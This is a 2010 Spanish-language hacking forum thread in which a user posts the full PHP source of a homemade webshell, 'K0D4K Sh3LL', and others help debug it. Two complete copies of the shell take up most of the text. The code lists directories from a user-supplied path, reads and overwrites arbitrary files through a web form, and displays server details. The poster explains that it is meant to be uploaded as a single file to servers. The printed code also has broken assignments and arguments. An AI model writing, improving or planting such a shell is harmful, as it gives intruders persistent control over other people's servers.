problema en codigo :(

Iniciado por Dr [F], 1 Agosto 2010, 06:24 AM

0 Miembros y 1 Visitante están viendo este tema.

Dr [F]

Hola gente, estoy realizando una webshell y me surgio un problema, la webshell la pantalla principal consta de un menu para ver archivos info del servidor y creditos

bueno el problema es que cuando voy a la parte de de informacion del servidor se mete tambien lo que hay en menu :(
lo mejor va a ser que lo vean..
les dejo el codigo

Código (php) [Seleccionar]
<html>
<head>
<title> K0D4K Sh3LL! </title>
<style type="text/css">
body {
background-color:#000000;
cursor:crosshair;

font-family:monospace;
}

datitos{
color:FF0000;
font-weight:bold;
font-family:verdana;
font-size:15px;
}

carteles {
font-size:20px;
color:#FF8000;
font-weight:bold;
}

directorios{
font-size:small;
font-type:Comic Sans Ms;
font-color:red;
font-family:verdana;
font-weight:bold;
}

table
{
font-size:13px;
  border-collapse: collapse;
}

th
{
  border-right: 1px solid #000;
  border-bottom: 1px solid #000;
  padding: 0.5em;
  background-color:#FF8000;
}

corchetes {
color:#FF0000;
font-family:verdana;
font-size:26px;
font-weight:bold;
font-style:italic;
}

signos {
font-weight:bold;
color:#FF8000;
font-size:24px;
}

k{
color:#FF0000;
font-size:25px;
font-weight:bold;
font-style:italic;
font-family:verdana;
}

cero{
color:#FF8000;
font-size:23px;
font-size:25px;
font-weight:bold;
font-style:italic;
font-family:verdana;
}

guion{
color:#FF8000;
font-size:25px;
}


a:link {
font-size:15px;
color:red;
text-decoration:none;
}
a:visited{
color:red;
text-decoration:none;
}
a:hover {
cursor:crosshair;
color:orange;
text-decoration:none;
font-size:16px;
}

datos{
font-size:medium;
color:#FF8000;
font-family:verdana;
}


</style>
<title> K0D4K Web Sh3LL! </title>
</head>
<body>
<center>
<corchetes>[</corchetes><signos>!</signos><corchetes>]</corchetes>
<k> K</k> <cero>0</cero> <k>D</k> <cero>4</cero> <k>K</k>   <guion>-</guion>   <k>S</k> <cero>H</cero> <k>3</k> <cero>L</cero> <k>L</k> <corchetes>[</corchetes><signos>!</signos><corchetes>]</corchetes></center>
  <br><br>     <center>
 
    <center>     <br><br>
<div style="bottom: 50%%; width: 60%; left: 23%; right: 7%; top: 28%;
visibility: visible; z-index:10; font-family: Courier New; background-color: #000000;border:1.5px orange dashed; text-decoration: none; text-aling: center;">

<center>         <br>

<a href="?shell=archivo"> Ver Archivos </a><br>
<a href="?shell=datos"> Informacion Del Servidor </a><br>
<a href="?shell=phpinfo"> Link3</a>  <br>
<a href="?shell=creditos">Creditos</a>     <br>


</div></center></center>
<br>

<?php



if(isset($_GET['path'])) {
$path $_GET['path'];
$dir dir($path);
}
else {
$path getcwd();
$dir dir($path);
}
if(
$_GET['shell'] == "archivo" or $_GET['path']!== "") {

echo 
"<br>";
 echo 
"<div align=right>";
echo 
"<table><tr>";
echo 
"<th>Posicion:</th><th>";
echo 
"$path";
echo 
"</th>";
echo 
"</table>";
echo 
"</div>";
echo 
"</chica>";
echo 
"<br>";

           echo 
"<center>";
echo 
"<carteles><br>";
echo 
"Directorios:<br>";
"</carteles>";
$contador 0;
while (
$file $dir->read()) {
$extension filetype($path."/".$file);
if (
$extension == "dir") {
$contador+=1;
$ruta urlencode($path."/".$file);
echo 
"<directorios>";
echo 
"<a href=?path=".$ruta.">".$file."</a><br>";
}
}
echo 
"</directorios>";

echo 
"<br><br><carteles>";
echo 
"Archivos:";
echo 
"</carteles><br>";
$dir->rewind();
$contador=0;
while(
$file $dir->read()) {
$extension=filetype($path."/".$file);
if (
$extension !=="dir") {
$contador+=1;
$ruta=urlencode($path."/".$file);
echo 
"<directorios>";
echo 
"<a href=?view=".$ruta.">".$file."</a><br>";}}
if (
$contador==0) {
echo 
"No hay archivos en el directorio";
}
echo 
"<br><br>";
echo 
"</center>";
$dir->close();
echo 
"</directorios>";


if(isset(
$_GET['view'])) {
$ruta $_GET['view'];
echo 
"<h2><font color=orange><center>";
echo 
"Editando: $ruta";
echo 
"</font></center></h2>";
echo 
"<center>";
echo 
"<form method=POST action=\"\">";

echo 
"<div style=133%><textarea name=\"modi\" cols=35 rows=15>";
$abrir=fopen($ruta,"r");
$texto fread($abrirfilesize($ruta));
echo 
htmlentities($texto);
echo 
"</textarea></div>";

echo 
"<input type=submit name=\"Change\" value=\"Editar\">";
echo 
"</form>";
echo 
"</center>";
if(isset(
$_POST['Change'])) {
$arc=fopen($ruta"w+");
$txt=$_POST['modi'];
@
$ok fwrite($arc,$txt);
}
}
}
?>

<?php
if($_GET['shell']=="datos") {
echo 
"<br><br><br>";
$servers=$_SERVER['SERVER_SOFTWARE'];
$ipserver=$_SERVER['SERVER_ADDR'];
$lugarshell=$_SERVER['SCRIPT_FILENAME'];
echo 
"<carteles>";
echo 
"Datos del servidor:";
echo 
"</carteles>";

echo 
"<br><br><br>";
echo 
"<datos>";
echo 
"Version de software: ";
echo 
"</datos>";
echo 
"<datitos>";
echo 
$servers;
echo 
"</datitos>";
echo 
"</info>";
echo 
"<br>";
echo 
"<datos>";
echo 
"IP del servidor: ";
echo 
"</datos>";
echo 
"<datitos>";
echo 
$ipserver;
echo 
"</datitos>";
echo 
"<br>";
echo 
"<datos>";
echo 
"Directorio shell: ";
echo 
"</datos>";
echo 
"<datitos>";
echo 
$lugarshell;
echo 
"</datitos>";
}
?>

<?php
if($_GET['shell'] == "creditos") {
header("location: http://www.kodakwebshell.blogspot.com/search/labels/creditos");

}
?>

</body>
</html>


muchas gracias
"Una vulnerabilidad es tan limitada como tu quieres que lo sea"

[H] Risk T --> Dr [F]

Ari Slash

bueno tu codigo esmuy desordenado xD

intenta hacer algo asi modular, separa cada funcion en archivos distintos php
pero mantiene el menu de arriba

si get[shell]==archivo
   include archivo.php
si get[shell]==informacion
   include serverinfo.php
si get[shell]==blablabla
   include blabla.php


Shell Root

#2
El problema que tienes radica en la siguiente linea de código
Código (php) [Seleccionar]
if($_GET['shell'] == "archivo" or $_GET['path']!== "") {
Donde realizas una comparación con la variable GET path, que si se encuentra vacía, muestre ciertos echos. Es decir, cambia esa linea por está
Código (php) [Seleccionar]
if($_GET['shell'] == "archivo") {

Te dejo el código completo, un poco más ordenado.
Código (php) [Seleccionar]
<html>
<head>
<title> K0D4K Sh3LL! </title>
<style type="text/css">
body {
background-color:#000000;
cursor:crosshair;
font-family:monospace;
}
datitos{
color:FF0000;
font-weight:bold;
font-family:verdana;
font-size:15px;
}
carteles {
font-size:20px;
color:#FF8000;
font-weight:bold;
}
directorios{
font-size:small;
font-type:Comic Sans Ms;
font-color:red;
font-family:verdana;
font-weight:bold;
}
table{
font-size:13px;
border-collapse: collapse;
}
th{
border-right: 1px solid #000;
border-bottom: 1px solid #000;
padding: 0.5em;
background-color:#FF8000;
}
corchetes {
color:#FF0000;
font-family:verdana;
font-size:26px;
font-weight:bold;
font-style:italic;
}
signos {
font-weight:bold;
color:#FF8000;
font-size:24px;
}
k{
color:#FF0000;
font-size:25px;
font-weight:bold;
font-style:italic;
font-family:verdana;
}
cero{
color:#FF8000;
font-size:23px;
font-size:25px;
font-weight:bold;
font-style:italic;
font-family:verdana;
}
guion{
color:#FF8000;
font-size:25px;
}
a:link {
font-size:15px;
color:red;
text-decoration:none;
}
a:visited{
color:red;
text-decoration:none;
}
a:hover {
cursor:crosshair;
color:orange;
text-decoration:none;
font-size:16px;
}
datos{
font-size:medium;
color:#FF8000;
font-family:verdana;
}
</style>
<title> K0D4K Web Sh3LL! </title>
</head>
<body>
<center>
<corchetes>[</corchetes><signos>!</signos><corchetes>]</corchetes>
<k> K</k> <cero>0</cero> <k>D</k> <cero>4</cero> <k>K</k>   <guion>-</guion>   <k>S</k> <cero>H</cero> <k>3</k> <cero>L</cero> <k>L</k> <corchetes>[</corchetes><signos>!</signos><corchetes>]</corchetes></center>
 <br><br>     <center>

   <center>     <br><br>
<div style="bottom: 50%%; width: 60%; left: 23%; right: 7%; top: 28%;
visibility: visible; z-index:10; font-family: Courier New; background-color: #000000;border:1.5px orange dashed; text-decoration: none; text-aling: center;">

<center>         <br>

<a href="?shell=archivo"> Ver Archivos </a><br>
<a href="?shell=datos"> Informacion Del Servidor </a><br>
<a href="?shell=phpinfo"> Link3</a>  <br>
<a href="?shell=creditos">Creditos</a>     <br>


</div></center></center>
<br>

<?php 
if(isset(
$_GET['path'])) {
$path $_GET['path'];
$dir dir($path);
}else {
$path getcwd();
$dir dir($path);
}

if($_GET['shell'] == "archivo") {
echo "<br>";
echo "<div align=right>";
echo "<table><tr>";
echo "<th>Posicion:</th><th>";
echo "$path";
echo "</th>";
echo "</table>";
echo "</div>";
echo "</chica>";
echo "<br>";
echo "<center>";
echo "<carteles><br>";
echo "Directorios:<br>";
echo "</carteles>";
$contador 0;
while ($file $dir->read()) {
$extension filetype($path."/".$file);
if ($extension == "dir") {
$contador+=1;
$ruta urlencode($path."/".$file);
echo "<directorios>";
echo "<a href=?path=".$ruta.">".$file."</a><br>";
}
}
echo "</directorios>";
echo "<br><br><carteles>";
echo "Archivos:";
echo "</carteles><br>";
$dir->rewind();
$contador=0;
while($file $dir->read()) {
$extension=filetype($path."/".$file);
if ($extension !=="dir"){
$contador+=1;
$ruta=urlencode($path."/".$file);
echo "<directorios>";
echo "<a href=?view=".$ruta.">".$file."</a><br>";
}
}

if ($contador==0) {
echo "No hay archivos en el directorio";
}
echo "<br><br>";
echo "</center>";
$dir->close();
echo "</directorios>";
 
if(isset($_GET['view'])) {
$ruta $_GET['view'];
echo "<h2><font color=orange><center>";
echo "Editando: $ruta";
echo "</font></center></h2>";
echo "<center>";
echo "<form method=POST action=\"\">";
echo "<div style=133%><textarea name=\"modi\" cols=35 rows=15>";
$abrir=fopen($ruta,"r");
$texto fread($abrirfilesize($ruta));
echo htmlentities($texto);
echo "</textarea></div>";
 
echo "<input type=submit name=\"Change\" value=\"Editar\">";
echo "</form>";
echo "</center>";
if(isset($_POST['Change'])) {
$arc=fopen($ruta"w+");
$txt=$_POST['modi'];
@$ok fwrite($arc,$txt);
}
}
}

if($_GET['shell']=="datos") {
echo "<br><br><br>";
$servers=$_SERVER['SERVER_SOFTWARE'];
$ipserver=$_SERVER['SERVER_ADDR'];
$lugarshell=$_SERVER['SCRIPT_FILENAME'];
echo "<carteles>";
echo "Datos del servidor:";
echo "</carteles>";
echo "<br><br><br>";
echo "<datos>";
echo "Version de software: ";
echo "</datos>";
echo "<datitos>";
echo $servers;
echo "</datitos>";
echo "</info>";
echo "<br>";
echo "<datos>";
echo "IP del servidor: ";
echo "</datos>";
echo "<datitos>";
echo $ipserver;
echo "</datitos>";
echo "<br>";
echo "<datos>";
echo "Directorio shell: ";
echo "</datos>";
echo "<datitos>";
echo $lugarshell;
echo "</datitos>";
}

if($_GET['shell'] == "creditos") {
header("location: http://www.kodakwebshell.blogspot.com/search/labels/creditos");
 
}
?>

</body>
</html>

Edit: Tú WEBSHELL tiene XSS. xD
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

Dr [F]

gracias por las rapidas respuestas, yo habia hecho lo mismo que tu shell root, va, esa fue mi primer idea, pero al ver lo que pasaba intente meter otra cosa..

lo que pasa con eso es que cuando intentas navegar por los directorios, te lleva a la pagina principal, osea no navega por los directorio..

si get[shell]==archivo
   include archivo.php
si get[shell]==informacion
   include serverinfo.php
si get[shell]==blablabla
   include blabla.php


Eso estaria bueno, pero en una webshell no puedo subir muchos archivos al servidor, la gracia de la webshell es que sea un solo archivo :)

saludos
"Una vulnerabilidad es tan limitada como tu quieres que lo sea"

[H] Risk T --> Dr [F]

Ari Slash


Dr [F]

¿? jajjaja que fue esa cara xD
"Una vulnerabilidad es tan limitada como tu quieres que lo sea"

[H] Risk T --> Dr [F]

Zazú

#6
No entiendo el sentido de usar varios if cuando podes usar una función para eso...
:silbar:
Switch()
http://php.net/manual/es/control-structures.switch.php


Ejemplo:
Código (php) [Seleccionar]

switch($_GET[algo]){
case hola:
echo 'Chau';
break;
case chau:
echo 'Hola';
break;
default:
echo 'pagina principal';
}


Espero que te sirva    ;)


Y no hay necesidad de subir varios archivos al servidor, aun que estes usando if, dependiendo el caso pones el codigo php que se ejecute, pero de forma ordenada   :silbar:

Suerte, cualquier cosa mandame un privado  ;)

Dr [F]

ya conozco el tema del switch :) muchas gracias, pero el error sigue saliendo igual, sospecho que nadie se molesto en compilar el script y ver que pasa :/

saludos

PD: sigue estando el mismo error
"Una vulnerabilidad es tan limitada como tu quieres que lo sea"

[H] Risk T --> Dr [F]

Shell Root

Cita de: frankitox en  1 Agosto 2010, 13:40 PM...sospecho que nadie se molesto en compilar el script y ver que pasa :/
Sospechas bien ;). Creo que deberías de leer esto y reestructurar la idea de la WebShell.
:http://foro.portalhacker.net/index.php/topic,70671.0.html
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

Ari Slash

yo si lo probe cuado postie xD